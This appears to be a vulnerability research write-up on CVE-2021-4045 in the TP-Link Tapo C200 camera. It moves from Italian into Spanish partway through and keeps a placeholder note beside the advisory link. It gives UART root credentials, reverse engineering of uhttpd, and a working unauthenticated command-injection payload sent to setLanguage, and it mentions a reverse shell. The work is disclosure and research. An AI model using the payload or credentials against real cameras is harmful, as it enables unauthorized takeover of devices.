
Exploit di iniezione di comandi per la telecamera TP-Link Tapo C200 (CVE-2021-4045) che fornisce accesso alla shell di root tramite UART e analisi del binario uhttpd sottoposto a reverse engineering.
CVE-2021-4045
CVE-2021-4045 è una vulnerabilità di iniezione di comandi scoperta nella fotocamera TP-Link Tapo C200, che consente a un attaccante di prendere il controllo totale del dispositivo con privilegi di root. Questa vulnerabilità interessa tutte le versioni del firmware precedenti alla 1.1.16 Build 211209 Rel. 37726N.
🔗 Avviso ufficiale di INCIBE: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2021-4045 (Sostituire con il link reale)
🔧 Soluzione consigliata: Aggiornare il firmware alla versione 1.1.16 o successiva.
$ nmap -sV -p- 192.168.1.81
**Risultato**:```
PORT STATE SERVICE
443/tcp open https
554/tcp open rtsp
2020/tcp open xinupageserver
8800/tcp open sunwebadmin
Come potete vedere, il dispositivo ha alcune porte aperte interessanti. La prima cosa che ho provato è stata la porta 443. Sebbene nmap indichi chiaramente che usa https, quando ho effettuato la scansione iniziale, l'ho trascurato e ho passato parecchio tempo pensando che la porta 443 usasse http. A causa di ciò, ho provato solo http://192.168.1.81:443 invece di https://192.168.1.81:443, quindi ho ottenuto solo risposte 400. Come ho detto nell'introduzione, questo processo è stato pieno di errori. Per quanto riguarda le altre porte, i servizi che vi giravano mi erano del tutto sconosciuti e non ho trovato alcuna informazione chiara al riguardo. A quel punto, ero rimasto senza opzioni note, quindi era ora di indagare più a fondo.
----[ Ottenere una shell ]-------------------------------
Prima di acquistare la fotocamera, ho cercato su internet ricerche precedenti sul dispositivo e, per fortuna, ho trovato questo repository GitHub dove le persone collaboravano per fare reverse engineering. Uno dei problemi spiegava come ottenere accesso alla console tramite la porta UART, qualcosa che all'epoca non conoscevo affatto. Così ho imparato le basi e ho comprato un convertitore da USB a TTL per connettermi.
Con l'aiuto del problema menzionato, sono riuscito ad aprire il dispositivo con un coltello e un cacciavite e a individuare rapidamente la UART. Dopo un paio di tentativi e molta pazienza, sono finalmente riuscito a saldare alcuni cavi ai pad.
Poi è arrivato il momento di verificare se la saldatura era abbastanza buona per la trasmissione dei dati. Ho collegato i cavi all'adattatore USB, tenendo presente che Rx della UART va a Tx dell'adattatore e viceversa, e ho collegato l'adattatore al mio computer. Di nuovo, grazie al problema menzionato, sapevo che la velocità di trasmissione per la connessione seriale era di 57600, quindi ho eseguito:
$ sudo screen /dev/tty.usbserial-0001 57600
Dove '/dev/tty.usbserial-0001' è la porta USB a cui è collegato l'adattatore e che alimenta il dispositivo. Immediatamente ho iniziato a ricevere dati, fantastico.
Tuttavia, non avevo ancora accesso alla console. Quello che ricevevo era semplicemente la sequenza di avvio del dispositivo, che in realtà era il bootloader U-Boot. Aveva un aspetto simile a questo:
U-Boot 2014.01-v1.2 (Jul 16 2021 - 18:41:10)
Board: IPCAM RTS3903 CPU: 500M :rx5281 prid=0xdc02 force spi nor mode DRAM: 64 MiB @ 1066 MHz Skipping flash_init Flash: 0 Bytes flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB Using default environment
Autobooting in 1 seconds copying flash to 0x81500000 flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB SF: 8388608 bytes @ 0x0 Read: OK
[...]
Premendo Invio, ci viene chiesto di inserire nome utente e password. Grazie a quel problema di GitHub, conosciamo le credenziali, quindi possiamo accedere correttamente con l'utente 'root' e la password 'slprealtek' e, infine, ottenere accesso alla console.
Una volta verificato che la connessione funzionava, ho dovuto rinforzare la saldatura, perché si era rotta due volte durante il processo di montaggio della scocca. Ho applicato colla termofusibile per assicurare tutti i cavi e ho chiuso il dispositivo, scollegando tutti i motori. Ora la mia unità di test era pronta.
----[ Esplorando il dispositivo ]--------------------------
Ora che abbiamo una shell, esploriamo il dispositivo:
root@SLP:~# uname -a Linux SLP 3.10.27 #1 PREEMPT Wed Nov 11 20:42:05 CST 2020 rlx GNU/Linux
root@SLP:~# cat /etc/openwrt_version 12.09-rc1
Come possiamo vedere, si tratta di una macchina OpenWRT che esegue Linux 3.10.27. Ora controlliamo i processi attivi e le porte aperte:
root@SLP:~# ps PID USER VSZ STAT COMMAND 1 root 2328 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [kworker/0:0] 5 root 0 SW< [kworker/0:0H] 6 root 0 SW [kworker/u2:0] 7 root 0 SW [rcu_preempt] 8 root 0 SW [rcu_bh] 9 root 0 SW [rcu_sched] 10 root 0 SW< [khelper] 11 root 0 SW< [writeback] 12 root 0 SW< [bioset] 13 root 0 SW< [kblockd] 14 root 0 SW [khubd] 15 root 0 SW [kworker/0:1] 16 root 0 SW [kswapd0] 17 root 0 SW [fsnotify_mark] 18 root 0 SW< [crypto] 27 root 0 SW [kworker/u2:1] 46 root 0 SW< [deferwq] 47 root 0 SW< [kworker/0:1H] 247 root 2328 S -ash 262 root 0 SW [irq/27-gpio res] 273 root 0 SW< [cryptodev_queue] 282 root 860 S /sbin/hotplug2 --override --persistent --set-rules-f 304 root 888 S /sbin/ubusd 325 root 8152 S tp_manage 357 root 3416 S /usr/bin/ledd 361 root 3408 S /sbin/msglogd 367 root 3220 S /usr/sbin/netlinkd 370 root 5468 S < /usr/bin/system_state_audio 379 root 10180 S /usr/sbin/wlan-manager 491 root 1636 S /sbin/netifd 492 root 1520 S /usr/sbin/connModed 494 root 11488 S /usr/bin/dsd 496 root 1532 S /usr/sbin/connModed 502 root 7640 S /bin/cloud-service 520 root 4360 S /bin/cloud-brd -c /var/etc/cloud_brd_conf 653 root 15020 S /bin/cloud-client 830 root 2320 S /usr/sbin/telnetd -b 127.0.0.1 861 root 3852 S /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C 870 root 6048 S /usr/bin/relayd 872 root 5948 S /usr/bin/rtspd 879 root 4612 S /usr/bin/p2pd 884 root 11152 S /bin/dn_switch 889 root 4180 S /bin/storage_manager 920 root 40940 S /bin/cet 956 root 32336 S /bin/vda 960 root 3808 S /bin/wtd 970 root 11288 S /bin/nvid 1019 root 2332 S udhcpc -p /var/run/static-dhcpc.pid -s /lib/netifd/s 1037 root 0 SW [RTW_CMD_THREAD] 1059 root 1212 S wpa_supplicant -B -Dwext -iwlan0 -P/tmp/supplicant_p 1089 root 2332 S /usr/sbin/ntpd -n -p time.nist.gov -p 133.100.9.2 -p 1103 root 3840 S /usr/bin/motord 1447 root 2324 R ps
root@SLP:~# netstat -natpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8800 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:929 0.0.0.0:* LISTEN 875/p2pd tcp 0 0 0.0.0.0:20002 0.0.0.0:* LISTEN 325/tp_manage tcp 0 0 0.0.0.0:2020 0.0.0.0:* LISTEN 969/nvid tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN 832/telnetd tcp 0 0 127.0.0.1:921 0.0.0.0:* LISTEN 878/relayd tcp 0 0 127.0.0.1:922 0.0.0.0:* LISTEN 877/rtspd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 863/uhttpd tcp 0 0 192.168.1.80:37380 52.19.66.90:443 ESTABLISHED 507/cloud-brd udp 0 0 0.0.0.0:20002 0.0.0.0:* 325/tp_manage udp 0 0 0.0.0.0:38000 0.0.0.0:* 1087/ntpd udp 0 0 0.0.0.0:3702 0.0.0.0:* 969/nvid
Possiamo vedere i processi dietro quelle porte aperte che appaiono nella scansione di nmap, come uhttpd o cet. Mi sono concentrato in particolare sul processo uhttpd, poiché è quello che sta dietro al server https (che all'epoca credevo ancora fosse http) ed ero già molto familiare con i protocolli http.
uhttpd è un server web creato da OpenWRT per l'uso su dispositivi embedded che eseguono questa distribuzione. A questo punto, volevo sapere se potevo ottenere maggiori informazioni al riguardo, come il codice sorgente o almeno i percorsi. Ho visitato la wiki di OpenWRT e ho imparato qualcosa su uhttpd e OpenWRT in generale. Sulle macchine OpenWRT esiste un sistema chiamato Interfaccia di Configurazione Unificata (UCI), che viene utilizzato fondamentalmente per configurare facilmente i servizi di sistema. Usando questo, possiamo ottenere la configurazione di uhttpd:
root@SLP:~# uci show | grep uhttpd ucitrack.@uhttpd[0]=uhttpd ucitrack.@uhttpd[0].init=uhttpd uhttpd.main=uhttpd uhttpd.main.listen_https=443 uhttpd.main.home=/ww uhttpd.main.rfc1918_filter=1 uhttpd.main.max_requests=8 uhttpd.main.cert=/tmp/uhttpd.crt uhttpd.main.key=/tmp/uhttpd.key uhttpd.main.cgi_prefix=/cgi-bin uhttpd.main.lua_prefix=/luci uhttpd.main.lua_handler=/usr/lib/lua/luci/sgi/uhttpd.lua uhttpd.main.script_timeout=180 uhttpd.main.network_timeout=180 uhttpd.main.tcp_keepalive=0 uhttpd.px5g=cert uhttpd.px5g.days=3600 uhttpd.px5g.bits=1024 uhttpd.px5g.country=CN uhttpd.px5g.state=China uhttpd.px5g.location=China uhttpd.px5g.commonname=TP-Link upnpc.uhttpd=entry upnpc.uhttpd.proto=TCP upnpc.uhttpd.ext_port=80 upnpc.uhttpd.desc=uhttpd
Qui ci sono alcuni parametri interessanti. In primo luogo, 'uhttpd.main.home' punta alla directory root del server, quindi potremmo trovare alcuni file del server web. Poi, 'uhttpd.main.lua_handler' punta allo script dell'handler Lua che viene usato per inizializzare l'ambiente di runtime Lua all'avvio del server, poiché uhttpd supporta gli script Lua, quindi potrebbero esserci altri file interessanti lì. Tuttavia, la directory '/www' è vuota e non esiste alcuna directory 'sgi' in '/usr/lib/lua/luci' né il file 'uhttpd.lua' sul sistema. Ho provato a trovare informazioni su come funziona questa istanza di uhttpd, ma non ho trovato nulla, solo parametri di configurazione che non puntano da nessuna parte.
A questo punto, ho capito che la soluzione era analizzare direttamente il binario 'uhttpd' e fare reverse engineering, ma prima volevo creare un ambiente di test per sapere cosa succedeva all'interno del server web quando si effettuavano le richieste, poiché, dal modo in cui era stato creato il processo, non c'era alcun output da nessuna parte.
Ho provato a eseguire il comando che si trova nell'output del comando ps per il processo 861:
$ /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C
Tuttavia, ho ricevuto molti errori e non sono riuscito a farlo funzionare. Non essendo riuscito a creare lo stesso processo uhttpd su una porta diversa, ho provato a cercare l'output mancante esaminando la voce '/proc' del processo, per provare a leggerli se esistevano (come spiegato in questo video di PwnFunction). Ma c'era un grosso problema:
root@SLP:~# sudo ls -l /proc/864/fd/ lrwx------ 1 root root 64 Nov 10 22:44 0 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 1 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 2 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 3 -> anon_inode:[eventpoll] lrwx------ 1 root root 64 Nov 10 22:44 4 -> socket:[1830]
Tutti i descrittori di file per 'stdin', 'stdout' e 'stderr' erano reindirizzati a '/dev/null', il che li reindirizza fondamentalmente in un buco nero da cui non si può recuperare nulla. Ero bloccato e non sapevo cosa fare. Dato che ero già nella voce '/proc', ho iniziato a esplorare, poiché non ricordavo che le voci '/proc' contenessero così tante informazioni su un processo e avevo curiosità. Grazie a questa curiosità fortuita, mi sono imbattuto nella voce 'environ', che contiene tutte le variabili d'ambiente per quel processo. Una di queste variabili d'ambiente era:
UHTTPD_ARGS=-h /www -T 180 -A 0 -n 8 -R -r C200 -C /tmp/uhttpd.crt -K /tmp/uhttpd.key -s 443
Mi sono subito reso conto che il comando mostrato da ps era errato e, successivamente, ho scoperto che era dovuto al fatto che l'interfaccia UART non aveva abbastanza larghezza per mostrare tutti i caratteri. Un altro errore che mi ha insegnato lezioni importanti: non bisogna mai fidarsi dell'output di una porta UART.
Ora finalmente sono riuscito a creare un'altra istanza di uhttpd con gli stessi parametri e senza pipe verso '/dev/null' per testare il binario mentre facevo reverse engineering.
----[ Reverse engineering di uhttpd con Ghidra ]--------
Questa è stata la prima volta che ho usato Ghidra. Avevo visto alcuni video e letto alcuni articoli al riguardo (grazie a stacksmashing e liveoverflow per i contenuti incredibili e facili da capire), ma non l'avevo mai usato davvero, quindi questa è stata un'ottima occasione per imparare.
Ho aperto il binario uhttpd e, dopo vari tentativi, ho scoperto che il linguaggio era MIPS32, little endian, con mips16e. Alcuni nomi di funzioni erano inclusi per impostazione predefinita nel binario, ma altri no. Ho anche dedicato del tempo a rinominare le funzioni, poiché, a quanto pare, Ghidra spesso si confonde con le funzioni esterne e si ottengono strani wrapper per esse, come:
Ho analizzato la funzione `main()` e altre funzioni importanti per comprendere la logica del binario e la sua struttura. Ne ho trovate alcune interessanti, già identificate, tra cui `do_login()` e `uh_slp_proto_request()`. Parlerò più avanti di quest'ultima.
Dopo questo primo contatto, ho iniziato a cercare bug. Essendo un completo principiante nelle vulnerabilità di overflow, la prima cosa che ho fatto è stata cercare chiamate a system(), exec() e popen() per verificare se esistesse una vulnerabilità di command injection che potessi sfruttare facilmente. E che fortuna ho avuto.
La funzione 'exec_and_read_json()' usa 'popen()' per eseguire comandi:
esegui_e_leggi_json
La funzione 'exec_and_read_json()' è usata da due funzioni senza nome, che ho chiamato 'set_language()' e 'wifi_connect()'. Queste funzioni si occupano rispettivamente della configurazione della lingua e della connessione Wi-Fi (ovviamente). 'wifi_connect()' sembra analizzare gli apici singoli ('), mentre 'set_language()' no. Questo significa che se possiamo controllare l'input della funzione 'set_language()', possiamo iniettare con successo i nostri comandi:
connessione wifi imposta_lingua
La funzione 'set_language()' è usata da 'uh_slp_proto_request()', la funzione che ho menzionato prima, che passa come input alcuni dati analizzati ricevuti dall'utente.
funzione_principale_1 funzione_principale_2
Per analizzare i dati dell'utente, uh_slp_proto_request() verifica se si tratta di un oggetto JSON valido. Successivamente, ottiene un valore stringa identificato dalla chiave method e un valore dizionario identificato da params (almeno credo, dato che Ghidra non è riuscito a risolvere la chiamata di funzione, ma sembrava funzionare in questo modo). A seconda del metodo selezionato, uh_slp_proto_request() seleziona la funzione che verrà eseguita.
Quindi, inviando il seguente payload:{"method": "setLanguage", "params":{}}
Llamamos correctamente a la función 'set_language()' y pasamos '{}' como parámetro 'language_json'. Luego, dentro de 'set_language()', el objeto 'language_json' se convierte en una cadena y se inserta directamente en "ubus call system_state_audio set_language '%s'" para su ejecución.
Al enviar esta carga útil:{"method": "setLanguage", "params": {"payload": "'; touch poc;'"}}
Se ejecutará lo siguiente.
ubus call system_state_audio set_language '{"payload": "'; touch poc;'"}'
Que en realidad contiene 3 comandos:
ubus call system_state_audio set_language '{"payload": "' touch poc '"}'
La segunda nos permite la ejecución completa del código.
Ahora bien, la función 'uh_slp_proto_request()' es utilizada por otra función sin nombre que gestiona todas las solicitudes, a la que he denominado 'main_server_function()'. Si una solicitud es válida (no excede la longitud máxima, utiliza 'http' o 'https' según la configuración del servidor, etc.), 'main_server_function()' comprueba si la URL contiene '/cgi-bin/luci' o '/web-static'. Si no es así, se llama a 'uh_slp_proto_request()'.
uh_slp_proto_request_entrypoint
Al realizar una prueba y enviar un par de solicitudes a la cámara, podemos comprobar que los datos utilizados por 'uh_slp_proto_request()' son datos POST estándar. Por lo tanto, si enviamos una solicitud POST a '/' con la carga útil anterior, 'uh_slp_proto_request()' procesará estos datos, llamará a 'set_language()' y nuestra carga útil se inyectará en el comando ejecutado por 'exec_and_get_result()'.
Como pueden ver, no mencioné nada sobre la autenticación, ya que la función 'setLanguage()' se puede llamar sin iniciar sesión. Esto permite que cualquier usuario tome el control total de la cámara con una sola solicitud sin autenticación.
----[ Explotación ]----------------------------------
Ahora, es momento de escribir el exploit. Dediqué un tiempo a averiguar cómo obtener una shell inversa con netcat. Parecía sencillo, pero no conseguía que funcionara. Descubrí que la versión de netcat instalada en BusyBox es bastante limitada en cuanto a funcionalidad, por lo que las shells inversas convencionales no eran válidas. Sin embargo, encontré lo que buscaba en el repositorio PayloadsAllTheThings (como siempre) y obtuve la shell inversa perfecta. Dado que uhttpd se ejecuta como root (gracias a TP-Link), obtenemos una shell con los máximos privilegios simplemente enviando una solicitud POST maliciosa. El exploit está disponible en página de GitHub: https://github.com/hacefresko/CVE-2021-4045/blob/master/pwntapo.py

🚨 Lección aprendida:
https con http en el puerto 443, perdiendo tiempo hasta descubrir el error.